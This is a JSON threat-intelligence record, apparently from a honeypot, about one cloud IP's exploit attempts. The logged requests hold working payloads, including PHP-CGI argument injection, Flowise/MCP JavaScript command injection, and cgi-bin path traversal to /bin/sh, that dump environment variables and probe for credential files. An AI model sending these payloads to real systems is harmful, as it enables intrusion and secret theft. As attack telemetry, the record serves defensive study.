{"ip":"35.198.131.152","total_events":242,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"84 exploit-path hits","confidence":"high","network_type":null,"why":["84 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,212,040 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,212,040 bytes sent","bytes_sent":2212040,"session_seconds":24,"persistent":false}},"first_seen":"2026-09-29T18:34:49","last_seen":"2026-09-29T18:35:14","events_24h":242,"events_7d":242,"geo":{"country_code":"DE","country_name":"Germany","region":"Hesse","city":"Frankfurt am Main","lat":50.1169,"lon":8.6837,"asn":396982,"org":"Google LLC"},"source_domain":"152.131.198.35.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":242}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106db010006d70303ed9c01374f24367a7b4d12928359743c2764e8890d418eff295844b140417bff207cb31390624ca61afe632eb250ba55aae8fb0a039118d9b3491b74deacc9eb3300200a0a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100066ecaca0000000b00020100002b000706dada0304030300000017001500001273697465732e7072696e636875622e636f6d0017000000230000003304ef04edeaea00010011ec04c0f4e83642c177bdeb4462a1c148acccf74c520f435be8d488cee78b08702d5bbbaf34149168773d63981a1082bc0591bf73a12c0e4bb196468a90ca6f1d6670a775bab8159a0c361d3cb8ce56879e025ac372a12a20d70c0ac2bb02f78475d21528a376efd39db22592355a9b598287baa65eb4c72c01f28d4800061bc161251a4aaeea32720c248b2a3de375422da96231394e00b99cdeb58a1fc7b305d452e99b0f3e6431413496cab585b07ca56d58c1d2dc709abc4dfacc05c0d18a0e30aa65857b7e430828da348129226a303891f93d214477498b6ca9979f94163b0475cde340525ed3344464bfbd7baf072096c26c87123002d9bba08128577e8302bd472fe41bb79ab672ba54b28db31ca355a41da1b89a6ba4533206c3d080e4c9acf5c99736fabd2c9b72870c020d62280ccaabfdacc6f658adccf5530e1a4ac110cdbb054fbdd4667a314622a259b07048f3195b9273b1345408091b9c7c576c3c1b7cf8f87027f023af54877be6a263503d60e2c5570241f63ccaebc5c0710137bcb0131709335a6446b435714ca403f7f4180a87bb32a0a70860c583985a7116959b50b04abba948e5ae0e6a9cef1077568394a9956e32398d3c9b4dbe5458fc581776f06a5fbbbeed4301da827e2cd962a3b8c2799b88f7ec5120eb269fb54710e228a68a65f60b61f471c0e027083a0c0176109375e4a39078339feac6e998cfa6b96e84e18085219a84f1c8825a8b7c967d7c2877bbe62a2ad8b4297b82f8c56544c11be57526a696ae21411fd3e6714c66664bac5e62ca6a9516995ffba625356ebad48d6f35a9ff4853bcb51555770f571982cff80cde0978d2794f886955977a5533376be02a4bd69474e043373da51b98628bc3425dcbb13f92f2c8cd5726ea00797df9b7cf918ee5e0cffbf9a5d80310af6634df5c4287e673a09cbed2368b92b6617d4b446e4c41d7d62c09a87ed4163efd0c4b10f9b1bef021d9f55e9a60040638266c42526a414feeda27194230f3107f1606cf8f5a45aa06450889a86221263d998d1a043bbd498414f795998ca1e10c6ba2407efb439e486b7f74151650f9b6d82c83943b275b4665e6d96789e71aba186e67c0c702225871109b9d3c6d39fabc1b473ae4c1537ae19a7e1435977ca8ecda36fba979d231ac68b23ccccaa91f0acae322ce380bc31d33b1a2495af8f32288715addccb489335b6a999caa7b351997ad279b28291290b6086f75009665fa31acf682be73be4fd90efae2a6278508e2143021e594cc870ffd341df9f0522fb440e476cd23802437047a80c60372db6c77942ddedb57aba071175b309c3c48637a8a1071a878a4c86f636316308f184a089d258854486aab0050e70286c5357198b27f188c4010d0444ca91a0d8b83f348935654568575557f6b302386a66adc8d943a0389c50fe0a29e0562a596b369238380e0b752382b8ed0523a17457444a3740826667ebbbae9da3344431fc5a6a9a0facbc5a5229b3a63612ac4dc716437701c81c958be02558db23cd101397ca9014e3a7d65700e69b4af225b2876b8844505c2a0ca018032742e71048ab7bc0ec61c3c15c9ad6696a88897bf7c9cb234ab44a68a029765d6cc98d47e07484229b277ce1e519b20d212718982c415708654755ec9177d43ce467175413cad59f361eda6da014bfe7d5bd8d7026b6ef16a2bd4d99cb2e320001d00209c49b65938e81fb86c2c3221559f6141e42ae6ee6900ec59dcf5702c72e33f4cfe0d00da0000010001810020d53358fc7014f1a02627ab8a904be9aae2fea555fde36cbb9797e5c8fad92c3d00b0a7891fa6083954c8c37be8a56ebce38946a42a0f28de8e2254ff58abeb568b0343db33b174ac6955069e2895629efb60b834fd29d10f9bcaf35c5e4142d4fec43df1057a6d1b9c4528fc3bbcbde121a32b38b715e4655298be5862945c69017778fae48cff45acc4cbc9e993c01144406560f6d152671c697573a0e4a1d0b069bb7daaaa711c6d559b99778373e384205486d197b11aed7c7b1ebf84b18953dae23f13f9b3684e94b94e6513dc85f368001b0003020002002d0002010144cd00050003026832ff01000100000d0012001004030804040105030805050108060601000a000c000aeaea11ec001d00170018001200000005000501000000000010000e000c02683208687474702f312e31dada0001","tls_ja3":["ba58e5c4f69f05b73fffb7f4d7a6942f","729816dfa28906f7eac9dc0253d9dedc","db7ba1b3dd0a087e875849e5d36ab10e","1082b52ea46ad7b4c3154745b13ac7d5","0a6161eabc3250966006129ba391a6fe"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cuq050_00050812_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":14,"b11cun062_00040016_84d4cebf_xce00d0f1":10,"b11cun162_000c73fe_fe528c8e_xce00d0f1":10,"b11cuq082_00050816_8184102b_xd0f1e7f3":10,"b11cuq150_10057dde_0ef1dcbb":10,"b11cuq050_00050812_107c8b82":96},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":3,"ips":96},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":3,"ips":96}},"user_agents":["Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"],"timeline":[{"date":"2026-09-29","count":242}],"recent_events":[{"timestamp":"2026-09-29T18:35:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c65626f742f322e313b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":69,"duration_ms":24094,"bytes_in":27597,"bytes_out":5451},{"timestamp":"2026-09-29T18:35:13","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20446565705365656b426f742f312e303b202b68747470733a2f2f7777772e646565707365656b2e636f6d2f290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":68,"duration_ms":23884,"bytes_in":27225,"bytes_out":5372},{"timestamp":"2026-09-29T18:35:13","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205177656e626f742f312e303b202b68747470733a2f2f7177656e2e616c69626162612e636f6d2f290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":66,"duration_ms":23519,"bytes_in":26276,"bytes_out":5214},{"timestamp":"2026-09-29T18:35:13","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":65,"duration_ms":23130,"bytes_in":25929,"bytes_out":5135},{"timestamp":"2026-09-29T18:35:13","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c4167656e742f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":67,"duration_ms":23713,"bytes_in":26769,"bytes_out":5293},{"timestamp":"2026-09-29T18:35:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c652d457874656e6465643b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":62,"duration_ms":22123,"bytes_in":24883,"bytes_out":4898},{"timestamp":"2026-09-29T18:35:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c4167656e742f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":61,"duration_ms":21940,"bytes_in":24519,"bytes_out":4819},{"timestamp":"2026-09-29T18:35:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205177656e626f742f312e303b202b68747470733a2f2f7177656e2e616c69626162612e636f6d2f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":63,"duration_ms":22411,"bytes_in":25233,"bytes_out":4977},{"timestamp":"2026-09-29T18:35:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":64,"duration_ms":22793,"bytes_in":25584,"bytes_out":5056},{"timestamp":"2026-09-29T18:35:11","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"0a6161eabc3250966006129ba391a6fe","session":"01465b40-d944-46a0-8a0f-d19771e78211","seq":59,"duration_ms":21441,"bytes_in":23751,"bytes_out":4661}],"http_methods":[{"method":"GET","count":203},{"method":"POST","count":36},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/aws-config.js","count":1,"ports":1},{"path":"/api/events","count":1,"ports":1},{"path":"/api/v1/node-load-method/customMCP","count":1,"ports":1},{"path":"/src/amplifyconfiguration.json","count":1,"ports":1},{"path":"/firebase-service-account.json","count":1,"ports":1},{"path":"/_image?href=/../../../.env","count":1,"ports":1},{"path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/langflow/api/v1/validate/code","count":1,"ports":1},{"path":"/@fs/proc/self/environ?import&raw??","count":1,"ports":1},{"path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":242}],"top_hosts":[{"value":"sites.princhub.com","count":242}],"top_alpns":[{"value":"h2, http/1.1","count":242}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 